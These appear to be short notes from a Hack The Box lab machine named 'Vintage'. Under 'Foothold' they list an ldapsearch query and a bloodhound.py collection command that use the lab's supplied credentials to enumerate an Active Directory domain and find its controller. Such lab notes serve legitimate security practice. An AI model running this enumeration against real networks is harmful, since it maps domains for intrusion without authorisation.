Vintage

Foothold
  1. ldapsearch -x -H ldap://10.129.255.247 -b "dc=vintage,dc=htb" -w Rosaisbest123 -D p.rosa@vintage.htb
  1. Find the DC name dc01.vintage.htb
  1. python3 bloodhound.py -u P.Rosa -p 'Rosaisbest123' -d vintage.htb -c All -ns 10.129.255.247 --zip -dc dc01.vintage.htb